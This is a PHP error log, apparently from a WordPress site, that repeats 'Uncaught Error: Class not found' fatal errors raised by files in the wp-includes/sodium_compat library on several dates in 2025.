[14-May-2025 14:29:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[14-May-2025 14:29:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[14-May-2025 14:29:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[14-May-2025 14:30:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[14-May-2025 14:30:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[14-May-2025 14:30:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[14-May-2025 14:30:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[14-May-2025 14:30:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[14-May-2025 14:30:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[14-May-2025 14:30:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[14-May-2025 14:30:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[14-May-2025 14:30:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[14-May-2025 14:30:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[14-May-2025 14:30:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[14-May-2025 14:30:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[14-May-2025 14:30:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[14-May-2025 14:30:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[14-May-2025 14:30:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[14-May-2025 14:30:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[14-May-2025 14:30:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[14-May-2025 14:30:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[14-May-2025 14:30:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[14-May-2025 14:30:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[14-May-2025 14:30:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[14-May-2025 14:30:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[18-Jun-2025 16:54:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[18-Jun-2025 16:54:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[18-Jun-2025 16:54:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[18-Jun-2025 16:54:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[18-Jun-2025 16:54:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[18-Jun-2025 16:55:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[18-Jun-2025 16:55:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[18-Jun-2025 16:55:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[18-Jun-2025 16:55:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[18-Jun-2025 16:55:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[18-Jun-2025 16:55:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[18-Jun-2025 16:55:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[18-Jun-2025 16:55:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[18-Jun-2025 16:55:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[18-Jun-2025 16:55:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[18-Jun-2025 16:55:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[19-Jul-2025 09:10:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[19-Jul-2025 09:10:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[19-Jul-2025 09:10:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[19-Jul-2025 09:10:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[19-Jul-2025 09:10:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[19-Jul-2025 09:10:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[19-Jul-2025 09:10:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[19-Jul-2025 09:10:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[19-Jul-2025 09:10:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[19-Jul-2025 09:10:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[19-Jul-2025 09:10:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[19-Jul-2025 09:11:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[19-Jul-2025 09:11:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[19-Jul-2025 09:11:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[19-Jul-2025 09:11:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[19-Jul-2025 09:11:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-Aug-2025 06:07:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[14-Aug-2025 06:08:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[14-Aug-2025 06:08:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[14-Aug-2025 06:08:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[14-Aug-2025 06:08:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[14-Aug-2025 06:08:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[14-Aug-2025 06:08:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[14-Aug-2025 06:08:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[14-Aug-2025 06:08:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[14-Aug-2025 06:08:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[14-Aug-2025 06:08:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-Aug-2025 06:08:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-Aug-2025 06:08:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-Aug-2025 06:08:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-Aug-2025 06:08:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-Aug-2025 06:08:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-Aug-2025 06:09:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[14-Aug-2025 06:09:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[14-Aug-2025 06:09:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[14-Aug-2025 06:09:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[14-Aug-2025 06:09:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[14-Aug-2025 06:09:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[14-Aug-2025 06:09:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[14-Aug-2025 06:09:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[14-Aug-2025 06:09:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[14-Aug-2025 06:09:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[14-Aug-2025 06:09:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[14-Aug-2025 06:09:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[14-Aug-2025 06:09:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[14-Aug-2025 06:10:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
